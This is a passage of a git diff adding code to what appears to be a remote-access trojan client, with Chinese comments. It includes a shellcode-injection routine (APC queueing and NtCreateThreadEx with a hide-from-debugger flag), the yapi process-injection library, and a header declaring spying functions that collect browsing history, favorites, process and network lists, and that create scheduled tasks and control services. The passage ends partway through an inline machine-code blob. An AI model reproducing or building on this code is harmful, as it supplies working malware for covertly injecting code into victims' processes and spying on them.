ULONG SuspendCount = 0; + fNtSuspendThread(hThread, &SuspendCount); + } + DWORD dwResult = fNtQueueApcThread(hThread, (PIO_APC_ROUTINE)RemotlpAddress, NULL, NULL, NULL); + if (fNtAlertResumeThread) { + ULONG SuspendCount = 0; + fNtAlertResumeThread(hThread, &SuspendCount); + } + if (dwResult) { + SendError(_T("有效载荷在线程中成功注入")); + break;; + } else { + SendError(_T("调用错误QueueUSerAPC().继续尝试其他线程")); + continue; + } + } else { + SendError(_T("获取找到的线程 ID 时出错")); + break;; + } + } + } while (Thread32Next(hThreadSnap, &te32)); + + if (!threadId) + SendError(_T("没有线程用于进程")); + CloseHandle(hThreadSnap); + } + break; + case 5: { // NtCreateThreadEx(shellcode 注入) + +#ifdef _WIN64 + LPVOID RemotlpAddress = VirtualAllocEx(hProc, NULL, datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + WriteProcessMemory(hProc, RemotlpAddress, data, datasize, NULL); + pfnNtCreateThreadEx NtCreateThreadEx = (pfnNtCreateThreadEx)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtCreateThreadEx"); + if (NtCreateThreadEx == NULL) break; + HANDLE ThreadShellCode = NULL; + NtCreateThreadEx(&ThreadShellCode, /*0x1FFFFF*/THREAD_ALL_ACCESS, NULL, hProc, (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, + THREAD_CREATE_FLAGS_CREATE_SUSPENDED | THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL); + if (ThreadShellCode == NULL) break; +#else + DWORD64 RemotlpAddress = yapi::VirtualAllocEx64(hProc, NULL, (SIZE_T)datasize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); + yapi::WriteProcessMemory64(hProc, RemotlpAddress, data, datasize, NULL); + yapi::X64Call RtlCreateUserThread("RtlCreateUserThread"); + HANDLE ThreadShellCode = NULL; + RtlCreateUserThread(&ThreadShellCode, /*0x1FFFFF*/THREAD_ALL_ACCESS, NULL, hProc, + (LPTHREAD_START_ROUTINE)RemotlpAddress, NULL, THREAD_CREATE_FLAGS_CREATE_SUSPENDED | + THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH | THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER, NULL, NULL, NULL, NULL); + if (ThreadShellCode == NULL) break; + +#endif + if (ThreadShellCode) CloseHandle(ThreadShellCode); + SendError(_T("注入shellcode成功")); + } + break; + + default: + break; + } + CloseHandle(hProc); + } + break; + default: + break; + } +} diff --git a/client/MachineManager.h b/client/MachineManager.h new file mode 100644 index 0000000..36673d2 --- /dev/null +++ b/client/MachineManager.h @@ -0,0 +1,204 @@ +#pragma once +#include "Manager.h" +#include +#include +#include +#include +#include "yapi.hpp" + +#pragma comment(lib, "Iphlpapi.lib") +#pragma comment(lib, "WS2_32.lib") + +#include +#include +#pragma comment(lib, "taskschd.lib") +#pragma comment(lib, "comsupp.lib") + +typedef std::map PidandStitle; // 进程ID与窗口名 +#define MAKE_PAIR(_a,b,c) _a::value_type((b),(c)) + +#define THREAD_CREATE_FLAGS_CREATE_SUSPENDED 0x00000001 +#define THREAD_CREATE_FLAGS_SKIP_THREAD_ATTACH 0x00000002 +#define THREAD_CREATE_FLAGS_HIDE_FROM_DEBUGGER 0x00000004 + +class CMachineManager : public CManager +{ +public: + BOOL m_bUse; + CMachineManager(IOCPClient* ClientObject, int n, void* user = nullptr); + virtual ~CMachineManager(); + virtual void OnReceive(PBYTE lpBuffer, ULONG nSize); +private: + static BOOL DebugPrivilege(const char* PName, BOOL bEnable); + static bool CALLBACK EnumWindowsProc(HWND hwnd, LPARAM lParam); + HWND GetHwndByPid(DWORD dwProcessID); + bool Is64BitOS(); + bool Is64BitPorcess(DWORD dwProcessID); + char* ProcessPidToName(HANDLE hProcessSnap, DWORD ProcessId, char* ProcessName); + wchar_t* char2wchar_t(char* cstr); + BOOL EnablePrivilege(LPCTSTR lpPrivilegeName, BOOL bEnable); + void DeleteService(LPBYTE lpBuffer, UINT nSize); + void MyControlService(LPBYTE lpBuffer, UINT nType); + + void SendProcessList(); + LPBYTE getProcessList(); //进程 + + void SendWindowsList(); + LPBYTE getWindowsList(); //窗口 + + void SendNetStateList(); + LPBYTE getNetStateList(); + + void SendSoftWareList(); + LPBYTE getSoftWareList(); //软件列表 + + void SendIEHistoryList(); + LPBYTE getIEHistoryList(); // 浏览记录 + + void SendFavoritesUrlList(); + void FindFavoritesUrl(char* searchfilename, PBYTE &data, int &offset); + LPBYTE getFavoritesUrlList(); //收藏夹 + + void SendServicesList(DWORD dwScType = SERVICE_WIN32); + LPBYTE getServiceList(DWORD dwScType); + + PBYTE GetTaskAll(ITaskFolder* pFolder, PBYTE &data, int &offset); //获取目录下的所有任务 + PBYTE GetFolderAll(ITaskFolder* pFolder, PBYTE &data, int &offset);//获取目录下的子目录 + PBYTE GetRoot(); //获取根目录下的子文件夹 + + BOOL CreateTask(LPBYTE lpBuffer); //创建计划任务 + BOOL RunOrStopTask(LPBYTE lpBuffer, BOOL Action); //执行或停止 + BOOL DelTask(LPBYTE lpBuffer); //删除计划任务 + BOOL GetProgramPath(ITaskDefinition* iDefinition, BSTR* exepath); + void SaveData(const std::string& taskname, const std::string& path, + const std::string& exepath, const std::string& status, + DATE LastTime, DATE NextTime, PBYTE &data, int &offset); //保存数据到缓冲区 + DWORD m_dwServiceType; + + void SendHostsList(); + + void injectprocess(DWORD mode, DWORD ExeIsx86, DWORD dwProcessID,byte* data, DWORD datasize,char* path); + + void SendError(const char* Terror); +}; + +struct Browsinghistory { + char strTime[100]; + char strTitle[1024]; + char strUrl[1024]; +}; + + +typedef struct { + DWORD dwState; // 连接状态 + DWORD dwLocalAddr; // 本地地址 + DWORD dwLocalPort; // 本地端口 + DWORD dwRemoteAddr; // 远程地址 + DWORD dwRemotePort; // 远程端口 + DWORD dwProcessId; // 进程ID号 +} MIB_TCPEXROW, * PMIB_TCPEXROW; + +typedef struct { + DWORD dwNumEntries; + MIB_TCPEXROW table[ANY_SIZE]; +} MIB_TCPEXTABLE, * PMIB_TCPEXTABLE; + +typedef struct { + DWORD dwLocalAddr; // 本地地址 + DWORD dwLocalPort; // 本地端口 + DWORD dwProcessId; // 进程ID号 +} MIB_UDPEXROW, * PMIB_UDPEXROW; + +typedef struct { + DWORD dwNumEntries; + MIB_UDPEXROW table[ANY_SIZE]; +} MIB_UDPEXTABLE, * PMIB_UDPEXTABLE; + +typedef struct { + DWORD dwState; //连接状态 + DWORD dwLocalAddr; //本地地址 + DWORD dwLocalPort; //本地端口 + DWORD dwRemoteAddr; //远程地址 + DWORD dwRemotePort; //远程端口 + DWORD dwProcessId; //进程标识 + DWORD Unknown; //待定标识 +} MIB_TCPEXROW_VISTA, * PMIB_TCPEXROW_VISTA; + +typedef struct { + DWORD dwNumEntries; + MIB_TCPEXROW_VISTA table[ANY_SIZE]; +} MIB_TCPEXTABLE_VISTA, * PMIB_TCPEXTABLE_VISTA; + +typedef DWORD(WINAPI* _InternalGetTcpTable2)( + PMIB_TCPEXTABLE_VISTA* pTcpTable_Vista, + HANDLE heap, + DWORD flags +); + + +typedef DWORD(WINAPI* PFNInternalGetUdpTableWithOwnerPid)( + PMIB_UDPEXTABLE* pUdpTable, + HANDLE heap, + DWORD flags +); +// 扩展函数原型 +typedef DWORD(WINAPI* PFNAllocateAndGetTcpExTableFromStack)( + PMIB_TCPEXTABLE* pTcpTable, + BOOL bOrder, + HANDLE heap, + DWORD zero, + DWORD flags +); + +typedef DWORD(WINAPI* PFNAllocateAndGetUdpExTableFromStack)( + PMIB_UDPEXTABLE* pUdpTable, + BOOL bOrder, + HANDLE heap, + DWORD zero, + DWORD flags +); + +typedef _CLIENT_ID* PCLIENT_ID; + +typedef NTSTATUS(NTAPI* pNtOpenProcess)(PHANDLE ProcessHandle, ACCESS_MASK DesiredAccess, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID ClientId); +typedef NTSTATUS(NTAPI* pNtOpenThread)(PHANDLE ThreadHandle, ACCESS_MASK AccessMask, POBJECT_ATTRIBUTES ObjectAttributes, PCLIENT_ID); +typedef NTSTATUS(NTAPI* pNtSuspendThread)(HANDLE ThreadHandle, PULONG SuspendCount); +typedef NTSTATUS(NTAPI* pNtAlertResumeThread)(HANDLE ThreadHandle, PULONG SuspendCount); +typedef NTSTATUS(NTAPI* pNtAllocateVirtualMemory)(HANDLE ProcessHandle, PVOID* BaseAddress, ULONG_PTR ZeroBits, PSIZE_T RegionSize, ULONG AllocationType, ULONG Protect); +typedef NTSTATUS(NTAPI* pNtWriteVirtualMemory)(HANDLE ProcessHandle, PVOID BaseAddress, PVOID Buffer, ULONG NumberOfBytesToWrite, PULONG NumberOfBytesWritten); +typedef NTSTATUS(NTAPI* pNtQueueApcThread)(HANDLE ThreadHandle, PIO_APC_ROUTINE ApcRoutine, PVOID ApcRoutineContext OPTIONAL, PIO_STATUS_BLOCK ApcStatusBlock OPTIONAL, ULONG ApcReserved OPTIONAL); +typedef NTSTATUS(WINAPI* pLdrLoadDll)(IN PWCHAR PathToFile OPTIONAL, IN ULONG Flags OPTIONAL, IN PUNICODE_STRING ModuleFileName, OUT PHANDLE ModuleHandle); +typedef VOID(WINAPI* pRtlInitUnicodeString)(PUNICODE_STRING DestinationString, PCWSTR SourceString); + +typedef NTSTATUS(NTAPI* pfnNtCreateThreadEx) +( + OUT PHANDLE hThread, + IN ACCESS_MASK DesiredAccess, + IN PVOID ObjectAttributes, + IN HANDLE ProcessHandle, + IN PVOID lpStartAddress, + IN PVOID lpParameter, + IN ULONG Flags, + IN SIZE_T StackZeroBits, + IN SIZE_T SizeOfStackCommit, + IN SIZE_T SizeOfStackReserve, + OUT PVOID lpBytesBuffer); + +typedef struct _THREAD_DATA +{ + pRtlInitUnicodeString fnRtlInitUnicodeString; + pLdrLoadDll fnLdrLoadDll; + UNICODE_STRING UnicodeString; + WCHAR DllName[260]; + PWCHAR DllPath; + ULONG Flags; + HANDLE ModuleHandle; +}THREAD_DATA, * PTHREAD_DATA; + +struct InjectData { + DWORD ExeIsx86; + DWORD mode; //注入模式 + DWORD dwProcessID;//进程ID + DWORD datasize; //本地数据尺寸 + char strpath[1024]; //远程落地目录 +}; diff --git a/client/ghost_vs2015.vcxproj b/client/ghost_vs2015.vcxproj index 69dcd1d..0019f2e 100644 --- a/client/ghost_vs2015.vcxproj +++ b/client/ghost_vs2015.vcxproj @@ -227,6 +227,7 @@ + @@ -285,6 +286,8 @@ + + diff --git a/client/yapi.hpp b/client/yapi.hpp new file mode 100644 index 0000000..3a09e68 --- /dev/null +++ b/client/yapi.hpp @@ -0,0 +1,915 @@ +/* + yapi -- Yet Another Process Injector / Your API + A fusion library that reduce differences between x64, wow64 and x86 processes based on rewolf-wow64ext. + + Copyright (c) 2010-2018 + This library is released under the MIT License. + + Please see LICENSE file or visit https://github.com/ez8-co/yapi for details. +*/ +#pragma once + +#define WIN32_NO_STATUS +#include +#include + +#include +#include +#include + +#ifndef NT_SUCCESS +#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) +#endif + +#include + +namespace detail { + static HMODULE hNtDll = LoadLibrary(_T("ntdll.dll")); + static HANDLE hCurProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, GetCurrentProcessId()); + + inline BOOL Is64BitOS() + { + SYSTEM_INFO systemInfo = { 0 }; + GetNativeSystemInfo(&systemInfo); + return systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_AMD64 + || systemInfo.wProcessorArchitecture == PROCESSOR_ARCHITECTURE_IA64; + } + static const BOOL is64BitOS = Is64BitOS(); + + struct GCBase + { + virtual DWORD64 toDWORD64() = 0; + virtual void gc() = 0; + }; + struct GCHelper + { + ~GCHelper() { + for (size_t i = 0; i < _ptrs.size(); i++) { + _ptrs[i]->gc(); + delete _ptrs[i]; + } + } + DWORD64 add(GCBase* ptr) { _ptrs.push_back(ptr); return ptr->toDWORD64(); } + private: + std::vector _ptrs; + }; +} + +namespace yapi { + + typedef std::basic_string, std::allocator > tstring; + + #ifndef UNICODE + static std::string _W2T(const wchar_t* wcs) + { + int len = ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, NULL, 0, 0, 0); + std::string ret(len, 0); + assert(0 != ::WideCharToMultiByte(CP_ACP, 0, wcs, -1, &ret[0], len, 0, 0)); + ret.resize(len - 1); + return ret; + } + #else + #define _W2T(str) std::wstring(str) + #endif + + #define REPEAT_0(macro) + #define REPEAT_1(macro) REPEAT_0(macro) + #define REPEAT_2(macro) REPEAT_1(macro) macro(1) + #define REPEAT_3(macro) REPEAT_2(macro) macro(2) + #define REPEAT_4(macro) REPEAT_3(macro) macro(3) + #define REPEAT_5(macro) REPEAT_4(macro) macro(4) + #define REPEAT_6(macro) REPEAT_5(macro) macro(5) + #define REPEAT_7(macro) REPEAT_6(macro) macro(6) + #define REPEAT_8(macro) REPEAT_7(macro) macro(7) + #define REPEAT_9(macro) REPEAT_8(macro) macro(8) + #define REPEAT_10(macro) REPEAT_9(macro) macro(9) + #define REPEAT_11(macro) REPEAT_10(macro) macro(10) + #define REPEAT_12(macro) REPEAT_11(macro) macro(11) + #define REPEAT_13(macro) REPEAT_12(macro) macro(12) + #define REPEAT_14(macro) REPEAT_13(macro) macro(13) + #define REPEAT_15(macro) REPEAT_14(macro) macro(14) + #define REPEAT_16(macro) REPEAT_15(macro) macro(15) + #define REPEAT_17(macro) REPEAT_16(macro) macro(16) + #define REPEAT_18(macro) REPEAT_17(macro) macro(17) + #define REPEAT_19(macro) REPEAT_18(macro) macro(18) + #define REPEAT_20(macro) REPEAT_19(macro) macro(19) + + #define END_MACRO_0(macro) + #define END_MACRO_1(macro) macro(1) + #define END_MACRO_2(macro) macro(2) + #define END_MACRO_3(macro) macro(3) + #define END_MACRO_4(macro) macro(4) + #define END_MACRO_5(macro) macro(5) + #define END_MACRO_6(macro) macro(6) + #define END_MACRO_7(macro) macro(7) + #define END_MACRO_8(macro) macro(8) + #define END_MACRO_9(macro) macro(9) + #define END_MACRO_10(macro) macro(10) + #define END_MACRO_11(macro) macro(11) + #define END_MACRO_12(macro) macro(12) + #define END_MACRO_13(macro) macro(13) + #define END_MACRO_14(macro) macro(14) + #define END_MACRO_15(macro) macro(15) + #define END_MACRO_16(macro) macro(16) + #define END_MACRO_17(macro) macro(17) + #define END_MACRO_18(macro) macro(18) + #define END_MACRO_19(macro) macro(19) + #define END_MACRO_20(macro) macro(20) + + #define REPEAT(n, macro, end_macro) REPEAT_##n (macro) END_MACRO_##n(end_macro) + + #define __ARG(n) P ## n + #define __PARAM(n) p ## n + #define __ARG_DECL(n) __ARG(n) __PARAM(n) + + #define TEMPLATE_ARG(n) typename __ARG(n) + #define VOID_TEMPLATE_ARGS(n) typename __ARG(n), + + #define ARG_DECL(n) __ARG_DECL(n) , + #define END_ARG_DECL(n) __ARG_DECL(n) + + #define DECL_VOID_TEMPLATE_ARGS(n) REPEAT(n, VOID_TEMPLATE_ARGS, TEMPLATE_ARG) + #define DECL_PARAMS_LIST(n) REPEAT(n, ARG_DECL, END_ARG_DECL) + + namespace { + template + struct _UNICODE_STRING_T { + union { + struct { + WORD Length; + WORD MaximumLength; + }; + T dummy; + }; + T Buffer; + }; + + template + struct _LIST_ENTRY_T { + T Flink; + T Blink; + }; + + template + struct _PEB_T { + T dummy01; + T Mutant; + T ImageBaseAddress; + T Ldr; + // omit unused fields + }; + + typedef _PEB_T PEB32; + typedef _PEB_T PEB64; + + typedef struct _PROCESS_BASIC_INFORMATION32 { + NTSTATUS ExitStatus; + UINT32 PebBaseAddress; + UINT32 AffinityMask; + UINT32 BasePriority; + UINT32 UniqueProcessId; + UINT32 InheritedFromUniqueProcessId; + } PROCESS_BASIC_INFORMATION32; + + typedef struct _PROCESS_BASIC_INFORMATION64 { + NTSTATUS ExitStatus; + UINT32 Reserved0; + UINT64 PebBaseAddress; + UINT64 AffinityMask; + UINT32 BasePriority; + UINT32 Reserved1; + UINT64 UniqueProcessId; + UINT64 InheritedFromUniqueProcessId; + } PROCESS_BASIC_INFORMATION64; + + template + struct _PEB_LDR_DATA_T { + DWORD Length; + DWORD Initialized; + T SsHandle; + _LIST_ENTRY_T InLoadOrderModuleList; + // omit unused fields + }; + + typedef _PEB_LDR_DATA_T PEB_LDR_DATA32; + typedef _PEB_LDR_DATA_T PEB_LDR_DATA64; + + template + struct _LDR_DATA_TABLE_ENTRY_T { + _LIST_ENTRY_T InLoadOrderLinks; + _LIST_ENTRY_T InMemoryOrderLinks; + _LIST_ENTRY_T InInitializationOrderLinks; + T DllBase; + T EntryPoint; + union { + DWORD SizeOfImage; + T dummy01; + }; + _UNICODE_STRING_T FullDllName; + _UNICODE_STRING_T BaseDllName; + // omit unused fields + }; + + typedef _LDR_DATA_TABLE_ENTRY_T LDR_DATA_TABLE_ENTRY32; + typedef _LDR_DATA_TABLE_ENTRY_T LDR_DATA_TABLE_ENTRY64; + + size_t tcslen(const char* str) { return strlen(str); } + size_t tcslen(const wchar_t* str) { return wcslen(str); } + } + + inline DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName); + + #ifdef _WIN64 + typedef NTSTATUS(WINAPI *NT_QUERY_INFORMATION_PROCESS)( + HANDLE ProcessHandle, ULONG ProcessInformationClass, + PVOID ProcessInformation, UINT32 ProcessInformationLength, + UINT32 * ReturnLength); + + static NT_QUERY_INFORMATION_PROCESS NtWow64QueryInformationProcess64 = (NT_QUERY_INFORMATION_PROCESS)GetProcAddress((HMODULE)detail::hNtDll, "NtQueryInformationProcess"); + #define NtWow64ReadVirtualMemory64 ReadProcessMemory + + #else + + namespace { + typedef NTSTATUS(WINAPI *NT_WOW64_QUERY_INFORMATION_PROCESS64)( + HANDLE ProcessHandle, UINT32 ProcessInformationClass, + PVOID ProcessInformation, UINT32 ProcessInformationLength, + UINT32* ReturnLength); + + typedef NTSTATUS(WINAPI *NT_WOW64_READ_VIRTUAL_MEMORY64)( + HANDLE ProcessHandle, PVOID64 BaseAddress, + PVOID BufferData, UINT64 BufferLength, + PUINT64 ReturnLength); + + static NT_WOW64_QUERY_INFORMATION_PROCESS64 NtWow64QueryInformationProcess64 = (NT_WOW64_QUERY_INFORMATION_PROCESS64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64QueryInformationProcess64"); + static NT_WOW64_READ_VIRTUAL_MEMORY64 NtWow64ReadVirtualMemory64 = (NT_WOW64_READ_VIRTUAL_MEMORY64)GetProcAddress((HMODULE)detail::hNtDll, "NtWow64ReadVirtualMemory64"); + } + + #endif + + inline DWORD64 WINAPI GetModuleHandle(HANDLE hProcess, const TCHAR* moduleName) + { + if (!moduleName) return 0; + if (!hProcess) hProcess = detail::hCurProcess; + + HANDLE hSnap = CreateToolhelp32Snapshot(TH32CS_SNAPMODULE | TH32CS_SNAPMODULE32, GetProcessId(hProcess)); + if (hSnap == INVALID_HANDLE_VALUE) return 0; + MODULEENTRY32 mod = { sizeof(mod) }; + if (Module32First(hSnap, &mod)) { + do { + if (!_tcsicmp(mod.szModule, moduleName)) { + CloseHandle(hSnap); + return (DWORD64)mod.hModule; + } + } while (Module32Next(hSnap, &mod)); + } + CloseHandle(hSnap); + return 0; + } + + DWORD64 WINAPI GetProcAddress(HANDLE hProcess, DWORD64 hModule, const char* funcName) + { + if (!hModule || !funcName) return 0; + if (!hProcess) hProcess = detail::hCurProcess; + + IMAGE_DOS_HEADER idh; + NTSTATUS status = ReadProcessMemory(hProcess, (PVOID)hModule, (PVOID)&idh, sizeof(idh), NULL); + if (!NT_SUCCESS(status)) return 0; + + IMAGE_NT_HEADERS32 inh; + status = ReadProcessMemory(hProcess, (PVOID)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL); + if (!NT_SUCCESS(status)) return 0; + + IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!idd.VirtualAddress)return 0; + + IMAGE_EXPORT_DIRECTORY ied; + status = ReadProcessMemory(hProcess, (PVOID)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL); + if (!NT_SUCCESS(status)) return 0; + + std::vector nameTable(ied.NumberOfNames); + status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL); + if (!NT_SUCCESS(status)) return 0; + + for (DWORD i = 0; i < ied.NumberOfNames; ++i) { + std::string func(strlen(funcName), 0); + status = ReadProcessMemory(hProcess, (PVOID)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL); + if (!NT_SUCCESS(status)) continue; + + if (func == funcName) { + WORD ord = 0; + status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL); + if (!NT_SUCCESS(status)) continue; + + DWORD rva = 0; + status = ReadProcessMemory(hProcess, (PVOID)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL); + if (!NT_SUCCESS(status)) continue; + + return hModule + rva; + } + } + return 0; + } + + inline DWORD64 WINAPI GetModuleHandle64(HANDLE hProcess, const TCHAR* moduleName) + { + if (!moduleName) return 0; + if (!hProcess) hProcess = detail::hCurProcess; + + #ifndef _WIN64 + if (!NtWow64QueryInformationProcess64 || !NtWow64ReadVirtualMemory64) return 0; + #endif + + PROCESS_BASIC_INFORMATION64 pbi = { 0 }; + const int ProcessBasicInformation = 0; + NTSTATUS status = NtWow64QueryInformationProcess64(hProcess, ProcessBasicInformation, &pbi, sizeof(pbi), NULL); + if (!NT_SUCCESS(status)) return 0; + + PEB64 peb; + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)pbi.PebBaseAddress, &peb, sizeof(peb), NULL); + if (!NT_SUCCESS(status)) return 0; + + PEB_LDR_DATA64 ldr; + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)peb.Ldr, (PVOID)&ldr, sizeof(ldr), NULL); + if (!NT_SUCCESS(status)) return 0; + + DWORD64 LastEntry = peb.Ldr + offsetof(PEB_LDR_DATA64, InLoadOrderModuleList); + + LDR_DATA_TABLE_ENTRY64 head; + head.InLoadOrderLinks.Flink = ldr.InLoadOrderModuleList.Flink; + do { + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.InLoadOrderLinks.Flink, (PVOID)&head, sizeof(head), NULL); + if (!NT_SUCCESS(status)) continue; + + std::wstring modName((size_t)head.BaseDllName.MaximumLength, 0); + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)head.BaseDllName.Buffer, (PVOID)&modName[0], head.BaseDllName.MaximumLength, NULL); + if (!NT_SUCCESS(status)) continue; + + if (!_tcsicmp(moduleName, _W2T(modName.c_str()).c_str())) + return head.DllBase; + } while (head.InLoadOrderLinks.Flink != LastEntry); + return 0; + } + + inline DWORD64 WINAPI GetProcAddress64(HANDLE hProcess, DWORD64 hModule, const char* funcName) + { + if (!hModule || !funcName) return 0; + if (!hProcess) hProcess = detail::hCurProcess; + +#ifndef _WIN64 + if (!NtWow64ReadVirtualMemory64) return 0; +#endif + + IMAGE_DOS_HEADER idh; + NTSTATUS status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)hModule, (PVOID)&idh, sizeof(idh), NULL); + if (!NT_SUCCESS(status)) return 0; + + IMAGE_NT_HEADERS64 inh; + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idh.e_lfanew), (PVOID)&inh, sizeof(inh), NULL); + if (!NT_SUCCESS(status)) return 0; + + IMAGE_DATA_DIRECTORY& idd = inh.OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT]; + if (!idd.VirtualAddress)return 0; + + IMAGE_EXPORT_DIRECTORY ied; + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + idd.VirtualAddress), (PVOID)&ied, sizeof(ied), NULL); + if (!NT_SUCCESS(status)) return 0; + + std::vector nameTable(ied.NumberOfNames); + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNames), (PVOID)&nameTable[0], sizeof(DWORD) * ied.NumberOfNames, NULL); + if (!NT_SUCCESS(status)) return 0; + + for (DWORD i = 0; i < ied.NumberOfNames; ++i) { + std::string func(strlen(funcName), 0); + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + nameTable[i]), (PVOID)&func[0], strlen(funcName), NULL); + if (!NT_SUCCESS(status)) continue; + + if (func == funcName) { + WORD ord = 0; + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfNameOrdinals + i * sizeof(WORD)), (PVOID)&ord, sizeof(WORD), NULL); + if (!NT_SUCCESS(status)) continue; + + DWORD rva = 0; + status = NtWow64ReadVirtualMemory64(hProcess, (PVOID64)(hModule + ied.AddressOfFunctions + ord * sizeof(DWORD)), (PVOID)&rva, sizeof(DWORD), NULL); + if (!NT_SUCCESS(status)) continue; + + return hModule + rva; + } + } + return 0; + } + + inline DWORD64 GetNtDll64() + { + static DWORD64 hNtdll64 = 0; + if(hNtdll64) return hNtdll64; + hNtdll64 = GetModuleHandle64(detail::hCurProcess, _T("ntdll.dll")); + return hNtdll64; + } + + #ifdef _WIN64 + + #define SetLastError64 SetLastError + #define VirtualQueryEx64 VirtualQueryEx + #define VirtualAllocEx64 VirtualAllocEx + #define VirtualFreeEx64 VirtualFreeEx + #define VirtualProtectEx64 VirtualProtectEx + #define ReadProcessMemory64 ReadProcessMemory + #define WriteProcessMemory64 WriteProcessMemory + #define LoadLibrary64 LoadLibrary + #define CreateRemoteThread64 CreateRemoteThread + + #else + + namespace { + #define _(x) __asm __emit (x) + __declspec(naked) DWORD64 x64Call(DWORD64 func, int argC, ...) + { + // see X64Call_disassemble for details + _(0x55)_(0x8b)_(0xec)_(0x8b)_(0x4d)_(0x10)_(0x8d)_(0x55)_(0x14)_(0x83)_(0xec)_(0x40)_(0x53)_(0x56)_(0x57)_(0x85) + _(0xc9)_(0x7e)_(0x15)_(0x8b)_(0x45)_(0x14)_(0x8d)_(0x55)_(0x1c)_(0x49)_(0x89)_(0x45)_(0xf0)_(0x8b)_(0x45)_(0x18) + _(0x89)_(0x4d)_(0x10)_(0x89)_(0x45)_(0xf4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xf0) + _(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89)_(0x45) + _(0xe8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xec)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13)_(0x45) + _(0xe8)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8)_(0x89) + _(0x45)_(0xe0)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xe4)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f)_(0x13) + _(0x45)_(0xe0)_(0x85)_(0xc9)_(0x7e)_(0x15)_(0x49)_(0x83)_(0xc2)_(0x08)_(0x89)_(0x4d)_(0x10)_(0x8b)_(0x42)_(0xf8) + _(0x89)_(0x45)_(0xd8)_(0x8b)_(0x42)_(0xfc)_(0x89)_(0x45)_(0xdc)_(0xeb)_(0x08)_(0x0f)_(0x57)_(0xc0)_(0x66)_(0x0f) + _(0x13)_(0x45)_(0xd8)_(0x8b)_(0xc2)_(0xc7)_(0x45)_(0xfc)_(0x00)_(0x00)_(0x00)_(0x00)_(0x99)_(0x0f)_(0x57)_(0xc0) + _(0x89)_(0x45)_(0xc0)_(0x8b)_(0xc1)_(0x89)_(0x55)_(0xc4)_(0x99)_(0x66)_(0x0f)_(0x13)_(0x45)_(0xc8)_(0x89)_(0x45) + _(0xd0)_(0x89)_(0x55)_(0xd4)_(0xc7)_(0x45)_(0xf8)_(0x00)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8c)_(0x65)_(0xf8)_(0xb8) + _(0x2b)_(0x00)_(0x00)_(0x00)_(0x66)_(0x8e)_(0xe0)_(0x89)_(0x65)_(0xfc)_(0x83)_(0xe4)_(0xf0)_(0x6a)_(0x33)_(0xe8) + _(0x00)_(0x00)_(0x00)_(0x00)_(0x83)_(0x04)_(0x24)_(0x05)_(0xcb)_(0x48)_(0x8b)_(0x4d)_(0xf0)_(0x48)_(0x8b)_(0x55) + _(0xe8)_(0xff)_(0x75)_(0xe0)_(0x49)_(0x58)_(0xff)_(0x75)_(0xd8)_(0x49)_(0x59)_(0x48)_(0x8b)_(0x45)_(0xd0)_(0xa8) + _(0x01)_(0x75)_(0x03)_(0x83)_(0xec)_(0x08)_(0x57)_(0x48)_(0x8b)_(0x7d)_(0xc0)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x16) + _(0x48)_(0x8d)_(0x7c)_(0xc7)_(0xf8)_(0x48)_(0x85)_(0xc0)_(0x74)_(0x0c)_(0xff)_(0x37)_(0x48)_(0x83)_(0xef)_(0x08) + _(0x48)_(0x83)_(0xe8)_(0x01)_(0xeb)_(0xef)_(0x48)_(0x83)_(0xec)_(0x20)_(0xff)_(0x55)_(0x08)_(0x48)_(0x8b)_(0x4d) + 